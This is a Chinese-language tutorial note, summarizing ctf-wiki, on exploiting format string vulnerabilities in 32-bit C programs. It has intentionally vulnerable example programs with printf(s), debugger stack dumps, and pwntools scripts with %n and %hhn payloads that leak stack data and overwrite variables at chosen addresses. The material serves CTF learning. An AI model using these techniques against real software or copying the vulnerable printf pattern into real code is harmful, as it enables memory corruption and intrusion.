格式化字符串漏洞基础利用

阅读 ctf-wiki 后总结

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息。

简单的泄露栈内存

例如,给定如下程序

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
# file:leakmemory.c
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s); //格式化字符串漏洞
return 0;
}

32 位程序使用的是栈传参,64 位系统前 7 个参数是用寄存器传参。32 位程序可以直接利用格式化字符串泄露出存在栈上的参数。(64 位要对应调整)

编译 32 位程序:

1
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c

输入输出如下:

1
2
3
>>>%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xffffcd10.0xc2.0xf7e8b6bb

栈情况:

1
2
3
4
5
6
7
8
9
10
11
12
────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%08x.%08x.%08x"
# 开始泄露位置
0xffffcd04│+0x08: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x" ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

泄露任意地址内存

上面已经实现依次获取栈中的每个参数,通过像下面这样构造,直接获取指定为位置的参数:

1
2
# 第n个参数
%n$p

只要知道目标数据在栈上的偏移 n ,就能够获取。

小总结

会用来泄露什么

理论上任何栈上数据都能被泄露出来,目前遇到过的有以下这些:

  • Canary

    泄露出 Canary 的值,从而绕过 Canary 保护。

  • text 段地址

    泄露出 text 段的真实地址,从而绕过 PIE 对于 text 段的保护,为 ROP 实现提供基础。

  • libc 函数地址

    泄露 libc 函数地址,获取 libc base addr 。这里也可以用来是绕过 PIE 保护,但泄露 libc 地址意义不止于此。

  • 某些变量

    有些题目会有 if 判断输入值等是否与预先设定的值相等,以此增加难度。

关键字选择

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

覆盖内存

覆盖内存使用的 %n%c 配合实现。

  • c

    简单点来说就是产生几个 null 字符。

  • n

    不输出字符,但将成功输出的字符个数写入对应的整型指针参数所指的变量。

    写入的时候也有多种方式:

    • n:int
    • hn:short int 写入双字节
    • hhn:char int 写入单字节

给出如下的程序来介绍相应的部分(32位):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

覆盖任意地址

覆盖小数字

这里以将 a 覆盖为 2 为例。需要将覆盖的目标地址后置,因为机器字长为 4 (64 位是 8)。

构造字符串如下:

1
aa%k$nxx[addr]

aa 两个可见字符,所以最后会向目标地址写入 2 。k 目标地址的偏移位置。xx 让字符串对其机器字长,这里是 4 。[addr] 覆盖的目标地址。

怎么对齐

对齐方法在 32 64 程序中,覆盖大数字、小数字中都通用,以上面这个为例。python 使用 len 计算长度后,用机器字长取余,余数就是对齐长度。

1
2
3
4
# 32位机器字长:4
# 64位机器字长:8
>>> len("aa%k$n")%4
2

第一个可控字符偏移是 6 ,aa%k$nxx 长度为 8 (不会算就 python len),所以 k 偏移应该是 8 。

构造覆盖小数字利用代码:

1
2
3
4
5
6
7
def fora():
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

对应的结果如下

1
2
3
>>>python exploit.py
0xffc1729c
aaaa$\xa0\x0modified a for a small number.

覆盖大数字

覆盖基本结构和上面差不多,区别是通常是覆盖大数字会分次覆盖,避免一下数据太大而不成功,所以会用到标志 hhnhn

还是使用上面例题,写入的目标地址为 0x0804A028 。使用单字节写入(hhn),写入值为 0x12345678 。变量是小端序存储,也在内存中是这样的:\x78\x56\x34\x12 ,简单点就是从右向左覆盖。

1
2
3
4
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

为了与覆盖小数字统一,避免计算地址占用字长,将地址放置在字符串末尾,得出以下框架:

1
2
3
4
# 格式化字符串
payload="%xc%y$hhn%xc%y$hhn%xc%y$hhn%xc%y$hhn"
# 目标地址
payload += p32(0x0804A028)+p32(0x0804A028+1)+p32(0x0804A028+2)+p32(0x0804A028+3)

x 控制输出多少个 null 字符。y 写入地址的偏移量。

手工计算 c 生成字符数

写入顺序为:0x78、0x56、0x34、0x12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
需要写入0x78,已经存储0x0字符
0x78=120
x1=120
---
需要写入0x56,已经存储0x78字符
0x156溢出单字节上限,忽略进位,存储0x56
0x156-0x78=222
x2=222
---
需要写入0x34,已经存储0x156字符
0x234溢出单字节上限,忽略进位,存储0x34
0x234-0x156=222
x3=222
---
需要写入0x12,已经存储0x234字符
0x312溢出单字节上限,忽略进位,存储0x12
0x312-0x234=222
x4=222
---

得到结果:payload="%120c%y$hhn%222c%y$hhn%222c%y$hhn%222c%y$hhn" ,长度是 44 ,预估地址偏移是两位数字,再进行一下修改,计算对齐长度为 0 ,最后 payload 为:

1
2
payload="%120c%18$hhn%222c%19$hhn%222c%20$hhn%222c%21$hhn"
payload += p32(0x0804A028)+p32(0x0804A028+1)+p32(0x0804A028+2)+p32(0x0804A028+3)

覆盖栈内存

确定覆盖地址

覆盖那里内容都好,覆盖地址肯定要明确的,覆盖栈上变量也是需要的。变量地址一般会存放在栈上,我们就需要找到栈存放这个变量地址的偏移。

确定相对偏移

调试在 printf 打断点:

1
2
3
4
5
6
7
8
9
10
11
────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7 → <main+76> add esp, 0x10 ← $esp
0xffffcd10│+0x04: 0xffffcd28 → "%d%d"
0xffffcd14│+0x08: 0xffffcd8c → 0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e → 0xffff0000 → 0x00000000
0xffffcd24│+0x18: 0xffffce4c → 0xffffd07a → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d" ← $eax

在 0xffffcd14 处存储着变量 c 的地址。偏移量为 6 。

进行覆盖

这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下

1
[addr of c]%012d%6$n

addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。

具体脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

forc()

结果如下

1
2
3
4
5
➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.